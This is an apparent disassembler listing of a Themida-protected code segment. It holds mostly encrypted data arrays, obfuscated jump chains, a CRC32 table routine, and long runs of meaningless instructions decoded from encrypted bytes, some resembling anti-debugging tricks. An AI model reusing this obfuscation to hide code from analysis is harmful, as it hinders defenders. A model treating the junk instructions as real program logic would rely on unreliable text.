		dd 0A66D6605h, 0E1A33951h, 89504990h, 0BD7BC5h,	92090000h
		dd 0FFBF6A7h, 0DFF4B0E8h, 1E9914A2h, 472A2702h,	0F9BA894Ch
		dd 5B69929Eh, 783CB732h, 31FE2DDh, 69928306h, 3CDBE65Bh
		dd 0A8267B44h, 52151057h, 27E8E483h, 3FFF540Bh,	0C8E4ABA4h
		dd 1531F0EDh, 256CBD7Fh, 6A1652Ch, 4F2A460Dh, 16728E57h
		dd 0AF706C0Bh, 448BDC5Ah, 279D5B4Bh, 29DCDA9h, 0AD177233h
		dd 30AB5B69h, 8726F1B5h, 0DA75CA8Bh, 13FAF5E2h,	7F36521Bh
		dd 0B86D8904h, 4C9D5B0Bh, 696631D5h, 0DCC6A772h, 0D7F4EC87h
		dd 69F6F316h, 0BA7B775Bh, 0A520E79Eh, 0CDCB662Ah, 0F69CFBBCh
		dd 0B9345B69h, 0E725223Eh, 25B69F6h, 0AAA8EF40h, 0F6B1D899h
		dd 96115B69h, 0B6E9571Bh, 4DFFBB8h, 382D4906h, 242269BAh
		dd 0B0375213h, 108B5B69h, 0CC14D195h, 0C0A4964Ah, 0AAF24DF1h
		dd 0E58DB0FEh, 3AEA0E90h, 143CAFF7h, 0CEFFFFFFh, 4C1BA692h
		dd 77B0D98Bh, 809C1761h, 25E9A8A5h, 0B2CE8D8Ah,	0F9F4DDD7h
		dd 7D559236h, 466C1161h, 5719AFCBh, 3C2BF06h, 0E8A7A43Fh
		dd 5B4DCFCCh, 9B19A298h, 4706034Ah, 8EBE883h, 0B1CD480Fh
		dd 0F51286B2h, 0F215D699h, 4EA298A9h, 52932FD3h, 0BBC4AF9Fh
		dd 0D5506D1Bh, 91278531h, 9712B8DDh, 8AD907C8h,	8C079886h
		dd 922F09C8h, 0D433F4C3h, 6CA88A86h, 920DD4CDh,	2FB1723Dh
		dd 0D1929DC3h, 615F3A56h, 4745E0A4h, 7F716E8Ah,	0A99D6435h
		dd 0F5D0ECADh, 661C38F9h, 924793E4h, 6CB9EB6h, 77F58500h
		dd 24E1DF26h, 0F7BCB655h, 36206728h, 25A083E4h,	7C7510D0h
		dd 0C0BE99B5h, 3E00E703h, 0C638BFEDh, 0A8EED768h, 80000000h
		dd 35F9BAB6h, 18DC9F9Ah, 0FABE837Dh, 0DA9E675Fh, 0BA7E473Fh
		dd 9B5F261Fh, 81450200h, 5B2AE9E6h, 5FE353B7h, 0B1069FD1h
		dd 8A8726F1h, 0CEEAABA7h, 0C9809C17h, 0C4E1D974h, 69AF8403h
		dd 46C13C5Bh, 7B869E2Ah, 0FBF8E3DCh, 0EE69203Ch, 4201FE99h
		dd 0BB0CCA26h, 3EAF76Fh, 6706A0D1h, 915CAC69h, 1B37F4F2h
		dd 83440F64h, 5B699004h, 5C251DBCh, 757312E1h, 90E59CB8h
		dd 616C84D0h, 0E8E2C5C2h, 0D5500723h, 63AD02B9h, 63h, 2E26C594h
		dd 0D1924965h, 5B6990B6h, 0CC3A8F0Ah, 0B097FFFCh, 1EDC5B69h
		dd 86CF7DCDh, 907EAE7h,	0E17CD14Ch, 0B65524E5h,	19D8D5BAh
		dd 0EE89499Eh, 0C26130F3h, 0EDAD02C9h, 0A03F5852h, 0E621E2A5h
		dd 5A5B69B0h, 5A064DFh,	0E580440Dh, 0C56024EDh,	0A64105CCh
		dd 8C27EBA8h, 0C20CD08Fh, 3, 0B6813350h, 0FDD8F4BFh, 4A254100h
		dd 98738F4Ch, 0E1BCD89Fh, 290420E9h, 714C6831h,	0BB96B277h
		dd 6E1FDC0h, 692D490Ah,	57E18951h, 7C04E8BFh, 19E7816Ch
		dd 8110C06Bh, 0A86F6FF7h, 0BEE78126h, 8136DF66h, 0C86622F7h
		dd 5FF90126h, 8704E983h, 575C240Ch, 0C781E789h,	4, 4EF81h
		dd 3C870000h, 0C895C24h, 0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 243C895Ch, 12BD5552h, 0BA0DB648h,	0F85EFD19h
		dd 895DEA01h, 0C0685AD1h, 89000065h, 4832424h, 685F0424h
		dd 3C71h, 81240C89h, 5BC242Ch, 478F20D7h, 8478108h, 20D705BCh
		dd 50243C8Bh, 405E089h,	5000000h, 4, 5C240487h,	57240C8Bh
		dd 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFF93384h
; ---------------------------------------------------------------------------
		vmread	[ecx], ecx


loc_5BE11B:				; CODE XREF: Themida_:005BDB22j
		mov	eax, 6154A64h
		add	eax, ebp


loc_5BE122:				; CODE XREF: Themida_:loc_5BDB1Dj
		mov	edx, ebx
		jmp	loc_5BE156
; ---------------------------------------------------------------------------
		db 46h,	0B9h, 1Eh
		dd 1Ah,	9 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5BE156:				; CODE XREF: Themida_:005BE124j
		jmp	loc_5BE5EA
; ---------------------------------------------------------------------------
		db 15h
		dd 0F48F531Eh, 0D87337F8h, 0BB561ADDh, 9D38FCC1h, 0ED18DCA5h
		dd 4D160E77h, 2EF5EE89h, 14D1CF6Ah, 0F9B8B550h,	5D1EE935h
		dd 5D7CFB3Ah, 0B67F2D96h, 3DEFAB9h, 0B37E420Bh,	34301B14h
		dd 8A3F873h, 55304C0Bh,	0A27D9958h, 33C9E5A6h, 0C78A8524h
		dd 219FF4ABh, 0CD8C89D0h, 0B3706E09h, 945524EFh, 5B69B075h
		dd 0B9B352CDh, 0CC21D8F4h, 7E223331h, 65DEF3D2h, 0BED99A8Ch
		dd 125B69BBh, 0BB078243h, 40BB5B69h, 0DC7B4AC5h, 0B1C91EE1h
		dd 0FA16DDD6h, 488FE09Eh, 3DFB644Ah, 515A1C07h,	7A7712D6h
		dd 62A29FBBh, 805B6969h, 0B44371C2h, 72AFF572h,	4Ah, 0D6B9B604h
		dd 809C17DCh, 69B00683h, 51A2605Bh, 0F64BD423h,	0BAB453AFh
		dd 8322D9F5h, 0A672C786h, 1, 0F9BAB638h, 450602DDh, 1CD9D776h
		dd 0DAD4AFC7h, 0B934F5F1h, 0F445079Dh, 2CF0B1ADh, 11D59491h
		dd 0E6AFA746h, 0E7862391h, 59102CE9h, 0A6FBC0BAh, 2E4A130Bh
		dd 7A965753h, 6FB60785h, 4FEAAE77h, 0AE776F52h,	9160DB92h
		dd 0B08601C2h, 0BF3A5B69h, 7C77526Ah, 0F4B69DB9h, 4A9275A3h
		dd 5F94AFF6h, 0C9000000h, 516D2E2Ah, 0B6D7459Ah, 0FED9F5BEh
		dd 8E244003h, 3C347BCCh, 45E4AF73h, 99348948h, 0E1BCD8A1h
		dd 1F0622E7h, 29DE0C5Dh, 0FDAFF64Ah, 4Ah, 0F5BEB68Fh, 4300FED9h
		dd 62544C27h, 7CFB74EFh, 1A36B17Bh, 627E473Fh, 0A4C71896h
		dd 0CB8C5B2Ah, 5B694A4Ch, 0B6348904h, 5D261E65h, 0BAB62B99h
		dd 918B2AF9h, 625F77CCh, 5B69B022h, 3318240h, 0AFF64BF4h
		dd 132h, 0BBB6C400h, 401DCF8h, 0DBD77645h, 82AC76F1h, 8A05F2D0h
		dd 27E8B76Eh, 5B69C2E0h, 7890E560h, 0C60D5E1Ch,	854408CBh
		dd 9EF9BAB3h, 5A5B69C2h, 2ED29962h, 4C1DE911h, 670681CDh
		dd 602FAA6Bh, 77F8959Fh, 9CB83361h, 4105C4C1h, 0CEEAA9A6h
		dd 9BF7B4D1h, 86D759A2h, 0BF83423Fh, 256425F4h,	0C5A29BF7h
		dd 0C23D04CDh, 13682523h, 99687B78h, 9BF7B1D8h,	0D59611A2h
		dd 0A29BF7B2h, 0B0773C36h, 0D79C9635h, 6865405Ch, 1A988DA9h
		dd 728582C9h, 9BF756B1h, 0F46FEAA2h, 549AE30h, 25DDB604h
		dd 6F000001h, 0FEF7A692h, 4EEDBC37h, 0BE759152h, 87DD9E69h
		dd 416177E2h, 6AE5A6A2h, 0B776734Eh, 9C5B58F3h,	0E9A8A580h
		dd 0BB827B1Ah, 0DB594E66h, 6346438Ah, 5928A36Ah, 0CBB7BFB5h
		dd 6BC02F8Bh, 9DCE29ABh, 5758B604h, 0EA000000h,	0EC87E286h
		dd 0CDFB9893h, 2F182329h, 43985063h, 3B0AB784h,	10D1CD6Ch
		dd 186614F4h, 4EEB1972h, 66C17ED3h, 12DB69DAh, 576B4B6Eh
		dd 0DB30CAFBh, 84819D18h, 0DB69FA05h, 0AE2576F4h, 265F60Ah
		dd 1E73F93Eh, 16E5DC5Fh, 69C81255h, 6F33AE5Bh, 8725h, 0A692B300h
		dd 0DE7D4C1Bh, 4D0420E3h, 0B0093BF8h, 23C76177h, 98592478h
		dd 0A29B1371h, 3B256D1h, 0EEBD38D6h, 728E574Fh,	734E66BBh
		dd 28F3B776h, 73C89189h, 1CDBD8h, 9BE48303h, 0BB0C8EA2h
		dd 0E9B87774h, 708C4F4Ah, 32D62690h, 3EB9AE84h,	0CE6A29E9h
		dd 4D6324F3h, 73988CD6h, 9A15DAD4h, 9B1D27CBh, 4F8B1A29h
		dd 0A07E2FAh, 15D32F4Bh, 0E2DF59C4h, 0F15E5213h, 0E76292A2h
		dd 0C8895823h, 0B6AF0E41h, 0C3318601h, 28C7A692h, 60A7682Fh
		dd 0E05B69B0h, 4C1BEA65h, 0D2EEB3ADh, 0E709C61Bh, 19617EFBh
		dd 0A877829Eh, 8305A0E7h, 50A520A2h, 35F9B8B5h,	0C2DE9D9Ah
		dd 9F2CFBC5h, 0FF50128Eh, 0DBD8BBB8h, 0BC857D1Ch, 0AA6EE9A0h
		dd 3753120Fh, 0CE938D2Ch, 1FE4DE79h, 6A2D2803h,	0B479734Eh
		dd 2D7E3C98h, 0DB2CEA0Ah, 14D89794h, 67947C79h,	790173FAh
		dd 35511A12h, 6C88037Eh, 3E2h, 81337000h, 0D8F4BFB6h, 254100FDh
		dd 738F4C4Ah, 0BCD89F98h, 420E9E1h, 4C683129h, 96B27771h
		dd 0E1FDC0BBh, 2D490A06h, 7B356869h, 2C890000h,	2BD16824h
		dd 34890000h, 1566824h,	2C890000h, 5FBF5724h, 8906154Bh
		dd 243C8BFEh, 4C481h, 88680000h, 89000008h, 4832424h, 565D0424h
		dd 2798B850h, 44296A40h, 8F580424h, 45810845h, 40279808h
		dd 242C8B6Ah, 5E08950h,	4, 405h, 24048700h, 2434FF5Ch
		dd 4C4835Eh, 0F92EB7E9h, 0CBFFF1FFh
		db 35h,	0Fh
; ---------------------------------------------------------------------------


loc_5BE5EA:				; CODE XREF: Themida_:loc_5BE156j
		mov	eax, 6154F7Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 0A54DC9F6h, 637C1C07h, 6357C96Bh, 1032EE1h, 0BB795F83h
		dd 0D1DA027h, 2076AC87h, 8536EC60h, 0E93B731Ch,	2Dh, 6207EB2Bh
		dd 0Ah dup(0)
		dd 5A7E900h, 11080000h,	0EBE78246h, 0D0CB662Ah,	0B4AE490Dh
		dd 98902BEFh, 64E00BCFh, 7C400901h, 5D21E8E1h, 4307C4C2h
		dd 28ECABA8h, 0C95011DCh, 895D7CE0h, 0E2867220h, 801FF813h
		dd 0C560B519h, 6B3A09C8h, 69286FAAh, 0C468E35Bh, 83645F58h
		dd 4B63B8FFh, 0E0AF7870h, 51EF453Ch, 0BCB831A7h, 0AD28DFFBh
		dd 2ECD9858h, 831E7330h, 0A0ABC786h, 0C2CAB6FCh, 76CB9996h
		dd 501FDEDBh, 0A859C081h, 7EF95B69h, 3A361129h,	0A8256425h
		dd 0CBC55B69h, 49C43F06h, 84D5972Dh, 0AE756E0Dh, 2C1BE59h
		dd 0C2558F33h, 73B43E61h, 0C4935E1Eh, 0A6672A25h, 5B698363h
		dd 740F64DFh, 5AF5B976h, 0C07D7B5Ch, 5672EDA4h,	9FBB827Bh
		dd 0ED348543h, 4F140EEFh, 20672833h, 0A05B6983h, 6B2FAA25h
		dd 430601A0h, 801B7027h, 51F5C483h, 8A6F8963h, 526ABFB6h
		dd 69853755h, 2475335Bh, 50130EADh, 0A6287D34h,	0AFF61751h
		dd 2E9832D6h, 77CE66A4h, 0E59CB87Dh, 0EE80C66Ah, 0FE72C98Ch
		dd 6ADDA9h, 866F0000h, 0B093F6B7h, 0B42F5B69h, 8C7C45Fh
		dd 4A42E1ECh, 2A6F2C81h, 4C5B69B0h, 0E80F3D8Eh,	3FAFF64Bh
		dd 0C7E3A4A0h, 1EFBB10h, 81000000h, 0DDF9BAB6h,	0BE1C0602h
		dd 0BBDE9F39h, 175B6909h, 4FDAF89Ch, 0A3776B0Fh, 7D9F4883h
		dd 3CDBE602h, 8F2A7F40h, 1EB4D095h, 0C8C40B5Ch,	43943807h
		dd 0DBB64FA8h, 3BD696EBh, 4DBB7F3Eh, 26F5BEB6h,	0A6A28F87h
		dd 734E6AE5h, 0E49BB776h, 21FC1469h, 6D486425h,	0BB96B26Fh
		dd 83DFFBC2h, 985174C5h, 1C332ECDh, 69B03C5Bh, 9E19945Bh
		dd 0B08B0ECFh, 0CC475B69h, 61A8F977h, 41DCA069h, 71EE5C44h
		dd 7EB049FAh, 110CE703h, 3C4B324Eh, 0AD43A198h,	0D82DD6F8h
		dd 2CDB095Ah, 0FBAFF5F4h, 0FC2C6B2Ch, 29A45B69h, 0B3CF8C8Ah
		dd 8BDBA7FCh, 6D000000h, 28EDE786h, 6500550Ch, 31D5A46Dh
		dd 4656344Ah, 236627A5h, 9F5B6994h, 3B05A924h, 8AC94705h
		dd 0B691A9FEh, 46DCF8BBh, 0F4EC3384h, 0F89C672Bh, 7F554A49h
		dd 0C45FB4BBh, 0CE703CCh, 4A314D12h, 0DCA39C3Bh, 36B409C0h
		dd 1050B7E5h, 5CD6AFF6h, 0B000000h, 40C13467h, 70C5C690h
		dd 49E28602h, 0CFD455AEh, 0AACE75E0h, 86F05106h, 0D59E9631h
		dd 23E0DEB9h, 0E3825107h, 4003FEEBh, 0A1F270C5h, 0D08D8B2Ah
		dd 1FE8E07Bh, 0E786ED5Bh, 38D328EDh, 625F7B3Ch,	5B69B022h
		dd 3318240h, 0AFF64BF4h, 0D5688F33h, 0B20D674h,	1EAB6h
		dd 867C0000h, 0B093F6B7h, 0B42F5B69h, 0B2C9C45Fh, 69B096F1h
		dd 34AF2A5Bh, 5CEC665h,	0C0BD98B0h, 0CB89E501h,	7538337Ah
		dd 4A0B07A6h, 9BF0ADABh, 0A51C1CDBh, 986307D6h,	8C93A474h
		dd 0BB8007C8h, 0C5405B69h, 48E4A570h, 786177BFh, 7D6E1FDh
		dd 9BB6C346h, 0AF047FA2h, 89581714h, 6CD460E5h,	4A9FB36Ah
		dd 33F2EF8Ah, 82FD1A17h, 20A2A29Bh, 0CC8B88CFh,	0B1706D08h
		dd 0F2EB8A95h, 7CFB7002h, 53CE6A99h, 0A05F5C37h, 8352CD84h
		dd 9B5947C2h, 2B80FBA2h, 0B8D49390h, 0ADF445C3h, 0AB2DF1B0h
		dd 0B603634Ch, 126DAh, 0A6926C00h, 318B4C1Bh, 0EF6177E2h
		dd 18935450h, 3C2421FCh, 1317E50Bh, 9CD4803h, 9D5E716Eh
		dd 0A298327Ah, 783D37D6h, 0AF2AA55Ch, 804941E0h, 3B38132Bh
		dd 0E08DCF53h, 907F23E4h, 0E3A6A11Bh, 0DCD1ED68h, 8F787211h
		dd 3753CE97h, 5CAD2B80h, 894A46E5h, 0DD9C9934h,	0B2609719h
		dd 55C6B604h, 0FB000000h, 85A15E5Ch, 920B79CEh,	7A4918A9h
		dd 5EA64DD6h, 6AFB9F64h, 8D4A9F09h, 0DB69382Ah,	524F6BE6h
		dd 0DB693837h, 88F344C2h, 9EF9BAB3h, 32DB6937h,	9E6D3CB7h
		dd 9E2A92FAh, 73C83393h, 690273B6h, 0D0940F5Bh,	12753605h
		dd 0AE5B6902h, 7094DE33h, 22000000h, 4C1BA692h,	77B0D98Bh
		dd 809C1761h, 25E9A8A5h, 0DFA58D8Ah, 61AEEBBBh,	2748F2BAh
		dd 117FDC83h, 0AB23C796h, 40C0B7B2h, 8B88A0F5h,	0A298710Bh
		dd 0FC439416h, 0B17C40FFh, 0FC511A12h, 0F7C6FB3Dh, 8EBFB736h
		dd 0BCD85398h, 925E4E1h, 703A2ADh, 1E732A46h, 54E44FA0h
		dd 0DEDD9E6Dh, 0FA92A36Fh, 4CF0BB7Fh, 3A04EEF8h, 0D3D06FDCh
		dd 8651BF14h, 0D126EFE7h, 7B772612h, 5A231BBAh,	3D0C873Eh
		dd 7F00797Ch, 21E9961h,	85E953F7h, 6DC238F5h, 0C1807D18h
		dd 0A66562FDh, 2C7B8D8Ah, 13224696h, 958F7C74h,	82FDB4D0h
		dd 0A5638666h, 71243C6Fh, 0D223A1F6h, 0AFAB8E8Bh, 14AF73EEh
		dd 613C5817h, 2A86A267h, 0D7D41B6Ch, 0BCB95418h, 32D6E1FDh
		dd 89EC7CE0h, 1F69BE20h, 10h, 0EAE786ADh, 0B0F316D7h, 0D44F5B69h
		dd 34E60459h, 0D8F4BFB6h, 254100FDh, 738F4C4Ah,	0BCD89F98h
		dd 420E9E1h, 4C683129h,	96B27771h, 0E1FDC0BBh, 2D490A06h
		dd 0E2895269h, 4C281h, 0EA830000h, 24148704h, 6824248Bh
		dd 512h, 53242C89h, 0C381E389h,	4, 8704EB83h, 895C241Ch
		dd 6857240Ch, 4C673FC4h, 81D7F75Fh, 1C7h, 4E7C100h, 4C92C781h
		dd 0FD89CC89h, 0C8B545Fh, 4C48124h, 68000000h, 42B8h, 8F242C89h
		dd 0C8B0841h, 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h
		dd 56242C8Bh, 0C681E689h, 4, 4C681h, 34870000h,	0ADE95C24h
		dd 0D6FFF928h, 2F53D318h, 5565B88Dh, 0C5030615h, 49FEE0FFh
		dd 314246FBh, 58E73C2Dh, 0F37D6588h, 6FFF387Ah,	31E75D6Ah
		dd 0DE506C83h, 89A02F9Ah, 29305A80h, 0BD743B64h, 0CCD90768h
		dd 86A242F2h, 9C436725h, 82A15D4h, 245317A7h, 9D8D0491h
		dd 60E0AE1h, 13A8B8h, 1858900h,	0E8060E09h, 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5C0005
; ---------------------------------------------------------------------------
		align 10h
		dd 4E9h	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5C0005:				; CODE XREF: Themida_:005BEC58j
		jmp	loc_5C0045
; ---------------------------------------------------------------------------
		pusha
		mov	edi, [ebp+60E1F85h]
		sub	edi, 4
		xor	ecx, ecx


loc_5C0016:				; CODE XREF: Themida_:005C003Dj
		mov	eax, ecx
		mov	ebx, 0EDB88320h
		add	edi, 4


loc_5C0020:				; DATA XREF: ___:004327F4o
		mov	esi, 8


loc_5C0025:				; CODE XREF: Themida_:005C002Ej
		shr	eax, 1
		sbb	edx, edx
		and	edx, ebx
		xor	eax, edx
		dec	esi
		jnz	loc_5C0025
		inc	ecx
		mov	[edi], eax
		cmp	ecx, 100h
		jb	loc_5C0016
		popa
		retn
; ---------------------------------------------------------------------------


loc_5C0045:				; CODE XREF: Themida_:loc_5C0005j
					; Themida_:005C0054j
		mov	ecx, eax
		call	near ptr loc_5C0056+3
		pop	edx
		mov	dword ptr [ecx+6Ah], 19363440h
		jns	short near ptr loc_5C0045+1


loc_5C0056:				; CODE XREF: Themida_:005C0047p
		add	[edx+58DB81AAh], dl


loc_5C005C:				; CODE XREF: Themida_:loc_5C005Cj
					; DATA XREF: ___:off_432948o
		jge	short loc_5C005C
		db	26h
		pop	eax
		movsx	ebx, ax
		add	eax, 6B6Ah
		call	near ptr loc_5C0071+5
		inc	edi
		bound	ecx, [ecx]


loc_5C0071:				; CODE XREF: Themida_:005C0069p
		mov	dword ptr [esi-7FDB7FD7h], 335FA9DBh
		leave
		jl	loc_5C0088
		sbb	edx, 251CFB97h


loc_5C0088:				; CODE XREF: Themida_:005C007Cj
					; Themida_:005C0104j
		mov	esi, [eax+ecx]
		sub	esi, 1E3676C9h
		jmp	loc_5C009E
; ---------------------------------------------------------------------------
		dw 7BE5h
; ---------------------------------------------------------------------------
		fmul	dword ptr [eax-131F1B22h]


loc_5C009E:				; CODE XREF: Themida_:005C0091j
		sub	esi, 2FB75DA9h
		pusha
		and	eax, 4C193B85h
		cld
		popa
		add	esi, 2C28E672h
		jnp	loc_5C00BC
		or	dh, 6Fh


loc_5C00BC:				; CODE XREF: Themida_:005C00B3j
		push	esi
		movzx	edi, bx
		pop	dword ptr [eax+ecx]
		jg	loc_5C00CE	; CODE XREF: Themida_:005C0121j
		mov	edx, 7F8E020Ah


loc_5C00CE:				; CODE XREF: Themida_:005C00C3j
		mov	bx, 2670h
		sub	ecx, 4
		jmp	loc_5C00E2
; ---------------------------------------------------------------------------
		dw 0CD3h
		dd 0C437CF6Bh
		db 27h,	9
; ---------------------------------------------------------------------------


loc_5C00E2:				; CODE XREF: Themida_:005C00D5j
		cmp	ecx, 0FFFF9560h
		jnz	loc_5C00FE
		push	ecx
		clc
		pop	ebx
		jmp	loc_5C011A
; ---------------------------------------------------------------------------
		push	esi
		fidiv	dword ptr [ebx+edx*8-6BCD7031h]


loc_5C00FE:				; CODE XREF: Themida_:005C00E8j
		xor	edi, 3179DAA4h
		jmp	loc_5C0088
; ---------------------------------------------------------------------------
		db 78h,	4Ch, 81h
; ---------------------------------------------------------------------------
		cwde
		mov	byte ptr [esi],	0Bh
		cld
		xchg	dl, dl


loc_5C0113:				; CODE XREF: Themida_:005C0159j
		pop	es
		bound	ecx, [ecx-48h]
; ---------------------------------------------------------------------------
byte_5C0117	db 0Ah			; CODE XREF: Themida_:005C011Fj
; ---------------------------------------------------------------------------
		mov	dh, 0B6h


loc_5C011A:				; CODE XREF: Themida_:005C00F1j
		push	ebp
		in	eax, dx		; Game I/O port
		std
		jnz	short loc_5C017D ; CODE	XREF: Themida_:005C0185j
		jp	short near ptr byte_5C0117
		jbe	short near ptr loc_5C00C3+4
		imul	esp, esi, 0FD49BC56h
		cmp	eax, 93FD26CEh
		loope	loc_5C0156
		std
		sal	dh, 1
		db	26h
		std
		db	36h
		jp	short near ptr loc_5C015D+1
		std
		and	[edi+5D1EFD26h], bh
		db	26h
		std
		out	2Ch, eax
		db	26h
		std
		les	edx, [esi+26C8B3FDh] ; CODE XREF: Themida_:005C01B5j
		std
; ---------------------------------------------------------------------------
		db 0FEh, 0E1h, 26h
		dd 26F6B7FDh
		db 0FDh, 28h
; ---------------------------------------------------------------------------


loc_5C0156:				; CODE XREF: Themida_:005C012Ej
					; Themida_:005C0189j ...
		jl	short loc_5C017E
		std
		jnz	short loc_5C0113
		db	26h
		std


loc_5C015D:				; CODE XREF: Themida_:005C0135j
		push	5Ah
		db	26h
		std
		aaa
		sub	esp, [esi]
		std
		rep xchg eax, edx
		db	26h
		std
		inc	edi
		into
		db	26h
		std
		popf
		and	eax, 2295358Ah
		mov	ds:714A76D6h, al ; CODE	XREF: Themida_:005C01A9j
					; Themida_:005C01B9j
		ficomp	word ptr [ebp+edi*4+4Bh] ; CODE	XREF: Themida_:005C0183j


loc_5C017C:				; CODE XREF: Themida_:005C018Dj
		hlt
; ---------------------------------------------------------------------------


loc_5C017D:				; CODE XREF: Themida_:005C011Dj
		pop	esp


loc_5C017E:				; CODE XREF: Themida_:loc_5C0156j
					; Themida_:005C017Fj
		pop	edx
		jp	short loc_5C017E
		jnz	short near ptr loc_5C01A9+1
		jb	short near ptr loc_5C0178+2
		jnz	short near ptr loc_5C011D+1 ; CODE XREF: Themida_:005C0187j
					; Themida_:005C018Fj ...
		jns	short near ptr loc_5C0185+1
		jz	short loc_5C0156 ; CODE	XREF: Themida_:005C018Bj
		js	short near ptr loc_5C0189+1
		jnb	short loc_5C017C
		jge	short near ptr loc_5C0185+1


loc_5C0191:				; CODE XREF: Themida_:loc_5C0193j
		jz	short near ptr loc_5C0185+1


loc_5C0193:				; CODE XREF: Themida_:loc_5C01ADj
		jnp	short loc_5C0191


loc_5C0195:				; CODE XREF: Themida_:005C0197j
		jz	short near ptr loc_5C020E+1
		jnp	short loc_5C0195
		jnz	short near ptr loc_5C0156+1 ; CODE XREF: Themida_:005C019Bj
		jp	short near ptr loc_5C0199+1
		jnz	short near ptr loc_5C01FC+1 ; CODE XREF: Themida_:005C019Fj
		jp	short near ptr loc_5C019D+1
		jbe	short loc_5C0208
		sbb	esp, [esi-59E7F18Bh] ; CODE XREF: Themida_:loc_5C01B1j


loc_5C01A9:				; CODE XREF: Themida_:005C0181j
					; Themida_:005C01ABj
		jnz	short near ptr loc_5C0173+3
		jp	short near ptr loc_5C01A9+1


loc_5C01AD:				; CODE XREF: Themida_:005C01AFj
		jnz	short loc_5C0193
		jnp	short loc_5C01AD


loc_5C01B1:				; CODE XREF: Themida_:005C01B3j
		jz	short near ptr loc_5C01A3+3
		jnp	short loc_5C01B1
		jz	short near ptr loc_5C0145+2
		mov	dl, 0F8h
		jnz	short near ptr loc_5C0173+4
		sbb	dh, [eax-10h]
		push	0A673E815h
		call	dword ptr [eax+707C821Eh] ; CODE XREF: Themida_:005C01D4j
		lock xchg edx, ds:0FF6C73E8h
		rcr	byte ptr [esi],	1
		out	7Ch, eax
		jo	short near ptr loc_5C01C3+3
		rep adc	eax, 0FF3573E8h
		xchg	eax, esp
		push	ds
		dec	ebx
		jl	short near ptr loc_5C0250+1
		lock lds edx, [eax+ebp*8]
		jnb	short near ptr loc_5C0202+3
		dec	esp
		push	ds
		fidivr	word ptr [eax+esi*2-10h]
		dec	esp
		adc	al, 0E8h
		jnb	short near ptr loc_5C026B+3
		dec	eax
		push	ds
		insb
		jl	short loc_5C0269
		lock sti
		pop	ss


loc_5C01FC:				; CODE XREF: Themida_:loc_5C019Dj
		call	near ptr 0C55BD974h
		push	ds


loc_5C0202:				; CODE XREF: Themida_:005C01E5j
		cmp	bh, [eax+esi*2-10h]
		into
		pop	ss


loc_5C0208:				; CODE XREF: Themida_:005C01A1j
		call	near ptr 0C15B4480h
		push	ds


loc_5C020E:				; CODE XREF: Themida_:loc_5C0195j
		lock jl	short loc_5C0281
		lock popf
		pop	ss
		call	near ptr 0BD5BF28Ch
		push	ds
		test	eax, 94F0707Ch
		pop	ss
		call	near ptr 0B15BA898h
		push	ds


loc_5C0226:				; CODE XREF: Themida_:005C0234j
					; Themida_:loc_5C0281j
		cmp	byte ptr [eax+esi*2-10h], 5Dh
		pop	ss
		call	near ptr 0B95B6EA4h
		push	ds
		out	7Ch, eax
		jo	short loc_5C0226


loc_5C0236:				; CODE XREF: Themida_:005C025Dj
		int	3		; Trap to Debugger
		pop	ss
		call	near ptr 0B55B37B0h
		push	ds
		dec	ebx
		jl	short near ptr loc_5C02B0+1
		lock in	eax, 17h
		call	near ptr 0B15B20BCh
		push	ds
		fidivr	word ptr [eax+esi*2-10h]
		loope	near ptr loc_5C025F+5


loc_5C0250:				; CODE XREF: Themida_:005C01DFj
		call	near ptr 0A15B7DC8h
		push	ds
		insb
		jl	short loc_5C02C9
		lock lahf
		adc	al, 0E8h
		jnb	short loc_5C0236


loc_5C025F:				; CODE XREF: Themida_:005C024Ej
		call	fword ptr [esi+ebx-0F8F83C6h]
		rcl	dword ptr [eax+ebp*8], 1


loc_5C0269:				; CODE XREF: Themida_:005C01F7j
		jnb	short loc_5C02AD


loc_5C026B:				; CODE XREF: Themida_:005C01F1j
		call	fword ptr [eax+707CF01Eh]
		lock jge short near ptr	loc_5C0283+5 ; CODE XREF: Themida_:005C02D8j
		call	near ptr 0AD5BF2ECh


loc_5C0279:				; CODE XREF: Themida_:005C02CBj
		push	ds
		test	eax, 98F0707Ch
		adc	al, 0E8h


loc_5C0281:				; CODE XREF: Themida_:loc_5C020Ej
		jnb	short near ptr loc_5C0226+3


loc_5C0283:				; CODE XREF: Themida_:005C0271j
		jmp	fword ptr [eax+707C821Eh]
; ---------------------------------------------------------------------------
		db 0F0h, 0AAh, 15h
		dd 0FF6C73E8h, 7CE71EA4h, 6750F076h, 0FF3573F3h, 7C4B1E5Bh
		dd 49CEF076h, 0FF1E73F3h, 7CDE1E57h
; ---------------------------------------------------------------------------
		pushf


loc_5C02AD:				; CODE XREF: Themida_:loc_5C0269j
		mov	dh, 0B0h
		icebp


loc_5C02B0:				; CODE XREF: Themida_:005C023Fj
		adc	[ebp+75FD7AF2h], ebx
		and	edi, ebx
		pop	ss
		iret
; ---------------------------------------------------------------------------
		shr	byte ptr [edi-5], 1
		and	eax, 0FDF53FD5h
		lodsd
		fist	word ptr [esi+34229160h]


loc_5C02C9:				; CODE XREF: Themida_:005C0257j
		mov	bh, 0CFh
		jp	short loc_5C0279
		and	esi, [edi+1A20AD29h] ; CODE XREF: Themida_:005C02D3j
		jp	short near ptr loc_5C02CD+5
		jnz	short loc_5C0350
		daa
		jl	short near ptr loc_5C0271+1
		db	67h
		push	ss
		call	near ptr 0D25BA354h ; CODE XREF: Themida_:005C0345j
		push	ds
		cmp	bh, [ebp+edi*2-38h]
		mov	ebx, 0CF73E811h	; CODE XREF: Themida_:005C0319j
		or	[ebp+eax*8-4AB48A1Ch], esi
		stc
		mov	edx, 0EF863589h
		push	edi
		push	ds
		test	eax, 96FEBD7Ch
		sub	eax, [ebp+7Ah]


loc_5C0302:				; CODE XREF: Themida_:005C0303j
		das
		jp	short loc_5C0302
		mov	al, [edx]
		rcl	byte ptr [esi+48F7CD60h], 1
		pop	eax
		mov	gs, [edi-5]
		clc
		mov	ah, 50h
		popf


loc_5C0316:				; CODE XREF: Themida_:005C0317j
		dec	ebx
		jle	short loc_5C0316
		jnz	short near ptr loc_5C02E6+4
		outsd
		inc	ebp
